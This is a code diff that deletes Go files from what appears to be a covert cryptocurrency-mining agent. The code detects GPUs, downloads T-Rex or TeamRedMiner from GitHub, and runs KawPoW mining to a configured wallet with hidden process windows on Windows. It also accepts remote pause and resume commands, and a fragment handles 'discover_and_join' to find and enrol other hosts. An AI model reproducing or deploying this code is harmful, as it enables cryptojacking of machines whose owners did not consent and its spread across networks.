|
|
||||||
return true
|
|
||||||
|
|
||||||
case "service_discover":
|
|
||||||
maxHosts := parsePortArg(command, 32)
|
|
||||||
out := deploy.RunServiceDiscover(maxHosts)
|
|
||||||
c.sendCommandResult(action, true, out)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "discover_and_join":
|
|
||||||
maxHosts := parsePortArg(command, 32)
|
|
||||||
go func() {
|
|
||||||
msg, err := c.runDiscoverAndJoin(maxHosts)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
func parsePortArg(raw string, fallback int) int {
|
|
||||||
raw = strings.TrimSpace(raw)
|
|
||||||
if raw == "" {
|
|
||||||
return fallback
|
|
||||||
}
|
|
||||||
n, err := strconv.Atoi(raw)
|
|
||||||
if err != nil || n <= 0 || n > 65535 {
|
|
||||||
return fallback
|
|
||||||
}
|
|
||||||
return n
|
|
||||||
}
|
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -1,105 +0,0 @@
|
|||||||
//go:build !windows
|
|
||||||
|
|
||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"archive/zip"
|
|
||||||
"bytes"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
func detectGPU() GPUInfo {
|
|
||||||
// On non-Windows, only probe NVIDIA via nvidia-smi.
|
|
||||||
out, err := exec.Command("nvidia-smi", "--query-gpu=name", "--format=csv,noheader").Output()
|
|
||||||
if err == nil {
|
|
||||||
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
|
|
||||||
if model != "" {
|
|
||||||
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return GPUInfo{Vendor: GPUVendorNone}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) {
|
|
||||||
wallet := g.cfg.RVNWallet
|
|
||||||
worker := g.cfg.WorkerName
|
|
||||||
poolURL := buildPoolURL(ep)
|
|
||||||
pass := ep.pass
|
|
||||||
if pass == "" {
|
|
||||||
pass = "x"
|
|
||||||
}
|
|
||||||
|
|
||||||
args := []string{
|
|
||||||
"-a", "kawpow",
|
|
||||||
"-o", poolURL,
|
|
||||||
"-u", wallet + "." + worker,
|
|
||||||
"-p", pass,
|
|
||||||
"--api-bind-http", "127.0.0.1:4067",
|
|
||||||
}
|
|
||||||
cmd := exec.Command(binPath, args...)
|
|
||||||
cmd.Dir = filepath.Dir(binPath)
|
|
||||||
if err := cmd.Start(); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return cmd.Process, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func itoa(n int) string {
|
|
||||||
if n == 0 {
|
|
||||||
return "0"
|
|
||||||
}
|
|
||||||
buf := make([]byte, 0, 10)
|
|
||||||
neg := n < 0
|
|
||||||
if neg {
|
|
||||||
n = -n
|
|
||||||
}
|
|
||||||
for n > 0 {
|
|
||||||
buf = append([]byte{byte('0' + n%10)}, buf...)
|
|
||||||
n /= 10
|
|
||||||
}
|
|
||||||
if neg {
|
|
||||||
buf = append([]byte{'-'}, buf...)
|
|
||||||
}
|
|
||||||
return string(buf)
|
|
||||||
}
|
|
||||||
|
|
||||||
func extractZipFile(data []byte, destDir, targetFile string) error {
|
|
||||||
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
targetLower := strings.ToLower(targetFile)
|
|
||||||
for _, f := range r.File {
|
|
||||||
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
rc, err := f.Open()
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer rc.Close()
|
|
||||||
dst := filepath.Join(destDir, targetFile)
|
|
||||||
out, err := os.Create(dst)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer out.Close()
|
|
||||||
buf := make([]byte, 32*1024)
|
|
||||||
for {
|
|
||||||
n, err := rc.Read(buf)
|
|
||||||
if n > 0 {
|
|
||||||
if _, we := out.Write(buf[:n]); we != nil {
|
|
||||||
return we
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if err != nil {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
@@ -1,147 +0,0 @@
|
|||||||
//go:build windows
|
|
||||||
|
|
||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"archive/zip"
|
|
||||||
"bytes"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
"crypto-miner-agent/deploy"
|
|
||||||
)
|
|
||||||
|
|
||||||
// detectGPU identifies the first supported discrete GPU on Windows.
|
|
||||||
// Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController).
|
|
||||||
func detectGPU() GPUInfo {
|
|
||||||
// NVIDIA — nvidia-smi is the most reliable check
|
|
||||||
if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil {
|
|
||||||
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
|
|
||||||
if model != "" {
|
|
||||||
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// AMD — wmic (available on all modern Windows without extra installs)
|
|
||||||
if out, err := deploy.HiddenOutput(
|
|
||||||
"wmic", "path", "win32_VideoController", "get", "Name", "/value",
|
|
||||||
); err == nil {
|
|
||||||
for _, line := range strings.Split(string(out), "\n") {
|
|
||||||
line = strings.TrimSpace(line)
|
|
||||||
if !strings.HasPrefix(strings.ToLower(line), "name=") {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1])
|
|
||||||
lo := strings.ToLower(name)
|
|
||||||
if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") {
|
|
||||||
return GPUInfo{Vendor: GPUVendorAMD, Model: name}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return GPUInfo{Vendor: GPUVendorNone}
|
|
||||||
}
|
|
||||||
|
|
||||||
// startProcessOnPool launches the GPU miner binary against a specific pool endpoint.
|
|
||||||
func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) {
|
|
||||||
wallet := g.cfg.RVNWallet
|
|
||||||
worker := g.cfg.WorkerName
|
|
||||||
poolURL := buildPoolURL(ep)
|
|
||||||
pass := ep.pass
|
|
||||||
if pass == "" {
|
|
||||||
pass = "x"
|
|
||||||
}
|
|
||||||
|
|
||||||
var args []string
|
|
||||||
switch g.info.Vendor {
|
|
||||||
case GPUVendorNVIDIA:
|
|
||||||
args = []string{
|
|
||||||
"-a", "kawpow",
|
|
||||||
"-o", poolURL,
|
|
||||||
"-u", wallet + "." + worker,
|
|
||||||
"-p", pass,
|
|
||||||
"--api-bind-http", "127.0.0.1:4067",
|
|
||||||
"--no-watchdog",
|
|
||||||
"--exit-on-cuda-error",
|
|
||||||
}
|
|
||||||
case GPUVendorAMD:
|
|
||||||
args = []string{
|
|
||||||
"-a", "kawpow",
|
|
||||||
"-o", poolURL,
|
|
||||||
"-u", wallet + "." + worker,
|
|
||||||
"-p", pass,
|
|
||||||
"--api_listen=4068",
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command(binPath, args...)
|
|
||||||
deploy.PrepareHiddenProcess(cmd)
|
|
||||||
cmd.Dir = filepath.Dir(binPath)
|
|
||||||
cmd.Stdout = nil
|
|
||||||
cmd.Stderr = nil
|
|
||||||
|
|
||||||
if err := cmd.Start(); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return cmd.Process, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func itoa(n int) string {
|
|
||||||
if n == 0 {
|
|
||||||
return "0"
|
|
||||||
}
|
|
||||||
buf := make([]byte, 0, 10)
|
|
||||||
neg := n < 0
|
|
||||||
if neg {
|
|
||||||
n = -n
|
|
||||||
}
|
|
||||||
for n > 0 {
|
|
||||||
buf = append([]byte{byte('0' + n%10)}, buf...)
|
|
||||||
n /= 10
|
|
||||||
}
|
|
||||||
if neg {
|
|
||||||
buf = append([]byte{'-'}, buf...)
|
|
||||||
}
|
|
||||||
return string(buf)
|
|
||||||
}
|
|
||||||
|
|
||||||
// extractZipFile unpacks targetFile from a zip archive (in memory) to destDir.
|
|
||||||
func extractZipFile(data []byte, destDir, targetFile string) error {
|
|
||||||
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
targetLower := strings.ToLower(targetFile)
|
|
||||||
for _, f := range r.File {
|
|
||||||
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
rc, err := f.Open()
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer rc.Close()
|
|
||||||
dst := filepath.Join(destDir, targetFile)
|
|
||||||
out, err := os.Create(dst)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer out.Close()
|
|
||||||
buf := make([]byte, 32*1024)
|
|
||||||
for {
|
|
||||||
n, err := rc.Read(buf)
|
|
||||||
if n > 0 {
|
|
||||||
if _, we := out.Write(buf[:n]); we != nil {
|
|
||||||
return we
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if err != nil {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return nil // binary not found inside zip — non-fatal, caller checks after
|
|
||||||
}
|
|
||||||
@@ -1,520 +0,0 @@
|
|||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"log"
|
|
||||||
"net/http"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"crypto-miner-agent/config"
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
// GPUVendor identifies the discrete GPU brand on the host.
|
|
||||||
type GPUVendor int
|
|
||||||
|
|
||||||
const (
|
|
||||||
GPUVendorNone GPUVendor = iota
|
|
||||||
GPUVendorNVIDIA // use T-Rex miner (KawPoW)
|
|
||||||
GPUVendorAMD // use TeamRedMiner (KawPoW)
|
|
||||||
GPUVendorOther // generic / Intel — not supported for KawPoW
|
|
||||||
)
|
|
||||||
|
|
||||||
// GPUInfo holds detected GPU metadata.
|
|
||||||
type GPUInfo struct {
|
|
||||||
Vendor GPUVendor
|
|
||||||
Model string
|
|
||||||
}
|
|
||||||
|
|
||||||
// GPUMinerStats is polled from the miner's local HTTP API.
|
|
||||||
type GPUMinerStats struct {
|
|
||||||
Hashrate15s float64
|
|
||||||
Hashrate1m float64
|
|
||||||
Hashrate15m float64
|
|
||||||
GPUTempC *int
|
|
||||||
GPUUsagePct *int
|
|
||||||
ActiveAlgo string
|
|
||||||
}
|
|
||||||
|
|
||||||
// rvnEndpoint is one pool entry for the GPU miner (primary or backup).
|
|
||||||
type rvnEndpoint struct {
|
|
||||||
host string
|
|
||||||
port int
|
|
||||||
tls bool
|
|
||||||
pass string
|
|
||||||
}
|
|
||||||
|
|
||||||
// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner).
|
|
||||||
type GPUMiner struct {
|
|
||||||
cfg config.RuntimeConfig
|
|
||||||
info GPUInfo
|
|
||||||
installDir string
|
|
||||||
|
|
||||||
mu sync.RWMutex
|
|
||||||
stats GPUMinerStats
|
|
||||||
active bool
|
|
||||||
paused bool
|
|
||||||
proc *os.Process // currently running subprocess (nil if stopped)
|
|
||||||
|
|
||||||
stopCh chan struct{}
|
|
||||||
pauseCh chan struct{} // closed when paused, re-created on resume
|
|
||||||
resumeCh chan struct{} // closed when resuming from pause
|
|
||||||
pauseMu sync.Mutex
|
|
||||||
wg sync.WaitGroup
|
|
||||||
}
|
|
||||||
|
|
||||||
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
|
|
||||||
// Returns nil if GPU mining should not run.
|
|
||||||
func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
|
|
||||||
if !cfg.GPUEnabled || cfg.RVNWallet == "" {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
info := detectGPU()
|
|
||||||
if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther {
|
|
||||||
log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model)
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
installDir, err := cfg.InstallDirectory()
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("[gpu] cannot determine install dir: %v", err)
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
|
|
||||||
g := &GPUMiner{
|
|
||||||
cfg: cfg,
|
|
||||||
info: info,
|
|
||||||
installDir: installDir,
|
|
||||||
stopCh: make(chan struct{}),
|
|
||||||
pauseCh: make(chan struct{}),
|
|
||||||
resumeCh: make(chan struct{}),
|
|
||||||
}
|
|
||||||
// pauseCh starts open; waitIfPaused hits the default branch and returns
|
|
||||||
// true immediately, so no pre-close of resumeCh is needed (and
|
|
||||||
// pre-closing it would break the first Pause() — the inner select would
|
|
||||||
// fire on the already-closed channel instead of blocking).
|
|
||||||
return g
|
|
||||||
}
|
|
||||||
|
|
||||||
// Start downloads (if needed) and launches the GPU miner, then polls stats.
|
|
||||||
func (g *GPUMiner) Start() {
|
|
||||||
g.wg.Add(1)
|
|
||||||
go func() {
|
|
||||||
defer g.wg.Done()
|
|
||||||
g.run()
|
|
||||||
}()
|
|
||||||
}
|
|
||||||
|
|
||||||
// Stop shuts down the GPU miner and waits for it to exit.
|
|
||||||
func (g *GPUMiner) Stop() {
|
|
||||||
// Resume first so the run loop is not blocked on pauseCh when stop fires.
|
|
||||||
g.Resume()
|
|
||||||
select {
|
|
||||||
case <-g.stopCh:
|
|
||||||
default:
|
|
||||||
close(g.stopCh)
|
|
||||||
}
|
|
||||||
g.wg.Wait()
|
|
||||||
}
|
|
||||||
|
|
||||||
// Pause suspends KawPoW polling and kills the running miner subprocess until
|
|
||||||
// Resume is called. Safe to call multiple times.
|
|
||||||
func (g *GPUMiner) Pause() {
|
|
||||||
g.pauseMu.Lock()
|
|
||||||
defer g.pauseMu.Unlock()
|
|
||||||
g.mu.Lock()
|
|
||||||
already := g.paused
|
|
||||||
if !already {
|
|
||||||
g.paused = true
|
|
||||||
// Kill the running process so it stops consuming GPU.
|
|
||||||
if g.proc != nil {
|
|
||||||
_ = g.proc.Kill()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
g.mu.Unlock()
|
|
||||||
if !already {
|
|
||||||
// Signal the run loop to enter the paused wait.
|
|
||||||
select {
|
|
||||||
case <-g.pauseCh:
|
|
||||||
default:
|
|
||||||
close(g.pauseCh)
|
|
||||||
}
|
|
||||||
log.Printf("[gpu] miner paused by remote command")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Resume restarts the KawPoW miner after a Pause. Safe to call when not paused.
|
|
||||||
func (g *GPUMiner) Resume() {
|
|
||||||
g.pauseMu.Lock()
|
|
||||||
defer g.pauseMu.Unlock()
|
|
||||||
g.mu.Lock()
|
|
||||||
wasPaused := g.paused
|
|
||||||
g.paused = false
|
|
||||||
g.mu.Unlock()
|
|
||||||
if wasPaused {
|
|
||||||
// Unblock the run loop waiting on resumeCh, then reset both channels.
|
|
||||||
select {
|
|
||||||
case <-g.resumeCh:
|
|
||||||
default:
|
|
||||||
close(g.resumeCh)
|
|
||||||
}
|
|
||||||
g.pauseCh = make(chan struct{})
|
|
||||||
g.resumeCh = make(chan struct{})
|
|
||||||
log.Printf("[gpu] miner resumed by remote command")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// waitIfPaused blocks the run loop while paused, returning false if stop fires.
|
|
||||||
func (g *GPUMiner) waitIfPaused() bool {
|
|
||||||
g.pauseMu.Lock()
|
|
||||||
pauseCh := g.pauseCh
|
|
||||||
resumeCh := g.resumeCh
|
|
||||||
g.pauseMu.Unlock()
|
|
||||||
|
|
||||||
select {
|
|
||||||
case <-pauseCh:
|
|
||||||
// Paused — wait for resume or stop.
|
|
||||||
select {
|
|
||||||
case <-g.stopCh:
|
|
||||||
return false
|
|
||||||
case <-resumeCh:
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
default:
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Stats returns the latest GPU mining statistics.
|
|
||||||
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
|
|
||||||
g.mu.RLock()
|
|
||||||
defer g.mu.RUnlock()
|
|
||||||
return g.stats, g.active
|
|
||||||
}
|
|
||||||
|
|
||||||
// GPUModel returns the detected GPU model string.
|
|
||||||
func (g *GPUMiner) GPUModel() string {
|
|
||||||
return g.info.Model
|
|
||||||
}
|
|
||||||
|
|
||||||
// buildPoolList returns the primary pool followed by any configured backups.
|
|
||||||
func (g *GPUMiner) buildPoolList() []rvnEndpoint {
|
|
||||||
eps := []rvnEndpoint{{
|
|
||||||
host: g.cfg.RVNPoolHost,
|
|
||||||
port: g.cfg.RVNPoolPort,
|
|
||||||
tls: g.cfg.RVNPoolTLS,
|
|
||||||
pass: g.cfg.RVNPoolPass,
|
|
||||||
}}
|
|
||||||
for _, bp := range g.cfg.RVNBackupPools {
|
|
||||||
if bp.Host != "" && bp.Port > 0 {
|
|
||||||
eps = append(eps, rvnEndpoint{
|
|
||||||
host: bp.Host,
|
|
||||||
port: bp.Port,
|
|
||||||
tls: bp.TLS,
|
|
||||||
pass: bp.Pass,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return eps
|
|
||||||
}
|
|
||||||
|
|
||||||
func (g *GPUMiner) run() {
|
|
||||||
binPath, err := g.ensureMinerBinary()
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("[gpu] could not obtain miner binary: %v", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
pools := g.buildPoolList()
|
|
||||||
poolIdx := 0
|
|
||||||
const retryDelay = 30 * time.Second
|
|
||||||
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-g.stopCh:
|
|
||||||
return
|
|
||||||
default:
|
|
||||||
}
|
|
||||||
|
|
||||||
if !g.waitIfPaused() {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
ep := pools[poolIdx%len(pools)]
|
|
||||||
proc, err := g.startProcessOnPool(binPath, ep)
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("[gpu] failed to start miner: %v — retry in %s (pool %d/%d)", err, retryDelay, poolIdx%len(pools)+1, len(pools))
|
|
||||||
select {
|
|
||||||
case <-g.stopCh:
|
|
||||||
return
|
|
||||||
case <-time.After(retryDelay):
|
|
||||||
}
|
|
||||||
poolIdx++
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
g.mu.Lock()
|
|
||||||
g.active = true
|
|
||||||
g.proc = proc
|
|
||||||
g.mu.Unlock()
|
|
||||||
|
|
||||||
log.Printf("[gpu] %s started (pid=%d) → %s:%d", g.spec().fileName, proc.Pid, ep.host, ep.port)
|
|
||||||
|
|
||||||
// pollStop signals pollStats to exit; closed when this iteration ends.
|
|
||||||
pollStop := make(chan struct{})
|
|
||||||
pollDone := make(chan struct{})
|
|
||||||
go func() {
|
|
||||||
defer close(pollDone)
|
|
||||||
g.pollStats(pollStop)
|
|
||||||
}()
|
|
||||||
|
|
||||||
// Wait for process exit in a goroutine so we can also listen for stop.
|
|
||||||
waitDone := make(chan error, 1)
|
|
||||||
go func() {
|
|
||||||
_, werr := proc.Wait()
|
|
||||||
waitDone <- werr
|
|
||||||
}()
|
|
||||||
|
|
||||||
var stopRequested bool
|
|
||||||
select {
|
|
||||||
case <-g.stopCh:
|
|
||||||
// Agent shutting down — kill the miner process immediately.
|
|
||||||
stopRequested = true
|
|
||||||
_ = proc.Kill()
|
|
||||||
<-waitDone
|
|
||||||
case waitErr := <-waitDone:
|
|
||||||
if waitErr != nil {
|
|
||||||
log.Printf("[gpu] miner exited: %v — rotating to next pool", waitErr)
|
|
||||||
}
|
|
||||||
// Miner crashed or exited cleanly — rotate to next pool on retry.
|
|
||||||
poolIdx++
|
|
||||||
}
|
|
||||||
|
|
||||||
close(pollStop)
|
|
||||||
<-pollDone
|
|
||||||
|
|
||||||
g.mu.Lock()
|
|
||||||
g.active = false
|
|
||||||
g.proc = nil
|
|
||||||
g.mu.Unlock()
|
|
||||||
|
|
||||||
if stopRequested {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Wait before retrying, but exit cleanly if Stop() is called.
|
|
||||||
select {
|
|
||||||
case <-g.stopCh:
|
|
||||||
return
|
|
||||||
case <-time.After(retryDelay):
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// pollStats polls the miner's HTTP API until stop is closed.
|
|
||||||
func (g *GPUMiner) pollStats(stop <-chan struct{}) {
|
|
||||||
apiPort := g.apiPort()
|
|
||||||
ticker := time.NewTicker(10 * time.Second)
|
|
||||||
defer ticker.Stop()
|
|
||||||
|
|
||||||
samples := make([]float64, 0, 90) // 15 min at 10s intervals
|
|
||||||
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-stop:
|
|
||||||
return
|
|
||||||
case <-ticker.C:
|
|
||||||
hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort)
|
|
||||||
if err != nil {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
samples = append(samples, hr)
|
|
||||||
if len(samples) > 90 {
|
|
||||||
samples = samples[len(samples)-90:]
|
|
||||||
}
|
|
||||||
|
|
||||||
g.mu.Lock()
|
|
||||||
g.stats = GPUMinerStats{
|
|
||||||
Hashrate15s: hr,
|
|
||||||
Hashrate1m: avg(samples, 6),
|
|
||||||
Hashrate15m: avg(samples, len(samples)),
|
|
||||||
GPUTempC: tempC,
|
|
||||||
GPUUsagePct: usage,
|
|
||||||
ActiveAlgo: "kawpow",
|
|
||||||
}
|
|
||||||
g.mu.Unlock()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func avg(samples []float64, last int) float64 {
|
|
||||||
if len(samples) == 0 || last <= 0 {
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
if last > len(samples) {
|
|
||||||
last = len(samples)
|
|
||||||
}
|
|
||||||
slice := samples[len(samples)-last:]
|
|
||||||
var sum float64
|
|
||||||
for _, v := range slice {
|
|
||||||
sum += v
|
|
||||||
}
|
|
||||||
return sum / float64(len(slice))
|
|
||||||
}
|
|
||||||
|
|
||||||
func (g *GPUMiner) apiPort() int {
|
|
||||||
switch g.info.Vendor {
|
|
||||||
case GPUVendorNVIDIA:
|
|
||||||
return 4067
|
|
||||||
case GPUVendorAMD:
|
|
||||||
return 4068
|
|
||||||
default:
|
|
||||||
return 4067
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// buildPoolURL constructs the stratum URL for a given pool endpoint.
|
|
||||||
func buildPoolURL(ep rvnEndpoint) string {
|
|
||||||
scheme := "stratum+tcp"
|
|
||||||
if ep.tls {
|
|
||||||
scheme = "stratum+ssl"
|
|
||||||
}
|
|
||||||
return fmt.Sprintf("%s://%s:%d", scheme, ep.host, ep.port)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ---- Miner binary management ----
|
|
||||||
|
|
||||||
type minerSpec struct {
|
|
||||||
fileName string
|
|
||||||
downloadURL string
|
|
||||||
}
|
|
||||||
|
|
||||||
func (g *GPUMiner) spec() minerSpec {
|
|
||||||
switch g.info.Vendor {
|
|
||||||
case GPUVendorNVIDIA:
|
|
||||||
return minerSpec{
|
|
||||||
fileName: "t-rex.exe",
|
|
||||||
downloadURL: "https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-win.zip",
|
|
||||||
}
|
|
||||||
default: // AMD
|
|
||||||
return minerSpec{
|
|
||||||
fileName: "teamredminer.exe",
|
|
||||||
downloadURL: "https://github.com/todxx/teamredminer/releases/download/v0.10.21/teamredminer-v0.10.21-win.zip",
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (g *GPUMiner) ensureMinerBinary() (string, error) {
|
|
||||||
spec := g.spec()
|
|
||||||
|
|
||||||
// 1. Check the agent's install directory first.
|
|
||||||
binPath := filepath.Join(g.installDir, spec.fileName)
|
|
||||||
if _, err := os.Stat(binPath); err == nil {
|
|
||||||
return binPath, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 2. Check the directory that contains the running agent binary (side-by-side).
|
|
||||||
if exePath, err := os.Executable(); err == nil {
|
|
||||||
sideBySide := filepath.Join(filepath.Dir(exePath), spec.fileName)
|
|
||||||
if _, err := os.Stat(sideBySide); err == nil {
|
|
||||||
log.Printf("[gpu] found %s next to agent binary, using local copy", spec.fileName)
|
|
||||||
return sideBySide, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3. Fall back to downloading from GitHub.
|
|
||||||
log.Printf("[gpu] GPU miner binary not found locally, downloading from GitHub (this may fail on restricted networks)")
|
|
||||||
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
|
|
||||||
return "", fmt.Errorf("download failed: %w", err)
|
|
||||||
}
|
|
||||||
if _, err := os.Stat(binPath); err != nil {
|
|
||||||
return "", fmt.Errorf("binary not found after download: %s", binPath)
|
|
||||||
}
|
|
||||||
return binPath, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func downloadAndExtract(url, destDir, targetFile string) error {
|
|
||||||
client := &http.Client{Timeout: 5 * time.Minute}
|
|
||||||
resp, err := client.Get(url)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
|
||||||
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
|
|
||||||
}
|
|
||||||
data, err := io.ReadAll(io.LimitReader(resp.Body, 512<<20))
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
return extractZipFile(data, destDir, targetFile)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ---- Miner HTTP API polling ----
|
|
||||||
|
|
||||||
// T-Rex summary response (subset we care about).
|
|
||||||
type trexSummary struct {
|
|
||||||
Hashrate int `json:"hashrate"`
|
|
||||||
GPUs []struct {
|
|
||||||
Temperature int `json:"temperature"`
|
|
||||||
GpuLoad int `json:"gpu_load"`
|
|
||||||
} `json:"gpus"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// TeamRedMiner status response (subset).
|
|
||||||
type trmStatus struct {
|
|
||||||
Algorithms []struct {
|
|
||||||
Name string `json:"algorithm"`
|
|
||||||
TotalMHs float64 `json:"mhsh_total"`
|
|
||||||
} `json:"algorithms"`
|
|
||||||
GPUs []struct {
|
|
||||||
TempC int `json:"temp_c"`
|
|
||||||
Fan int `json:"fan_pct"`
|
|
||||||
} `json:"gpus"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func fetchMinerStats(vendor GPUVendor, port int) (hashrate float64, tempC, usagePct *int, err error) {
|
|
||||||
url := fmt.Sprintf("http://127.0.0.1:%d/summary", port)
|
|
||||||
resp, e := http.Get(url) //nolint:noctx
|
|
||||||
if e != nil {
|
|
||||||
return 0, nil, nil, e
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
body, _ := io.ReadAll(resp.Body)
|
|
||||||
|
|
||||||
switch vendor {
|
|
||||||
case GPUVendorNVIDIA:
|
|
||||||
var s trexSummary
|
|
||||||
if e := json.Unmarshal(body, &s); e != nil {
|
|
||||||
return 0, nil, nil, e
|
|
||||||
}
|
|
||||||
hashrate = float64(s.Hashrate)
|
|
||||||
if len(s.GPUs) > 0 {
|
|
||||||
t := s.GPUs[0].Temperature
|
|
||||||
u := s.GPUs[0].GpuLoad
|
|
||||||
tempC = &t
|
|
||||||
usagePct = &u
|
|
||||||
}
|
|
||||||
case GPUVendorAMD:
|
|
||||||
var s trmStatus
|
|
||||||
if e := json.Unmarshal(body, &s); e != nil {
|
|
||||||
return 0, nil, nil, e
|
|
||||||
}
|
|
||||||
for _, a := range s.Algorithms {
|
|
||||||
if a.Name == "kawpow" || a.Name == "KawPoW" {
|
|
||||||
hashrate = a.TotalMHs * 1e6 // convert MH/s → H/s
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if len(s.GPUs) > 0 {
|
|
||||||
t := s.GPUs[0].TempC
|
|
||||||
u := s.GPUs[0].Fan
|
|
||||||
tempC = &t
|
|
||||||
usagePct = &u
|
|
||||||
}
|
|
||||||
}
|
|
||||||
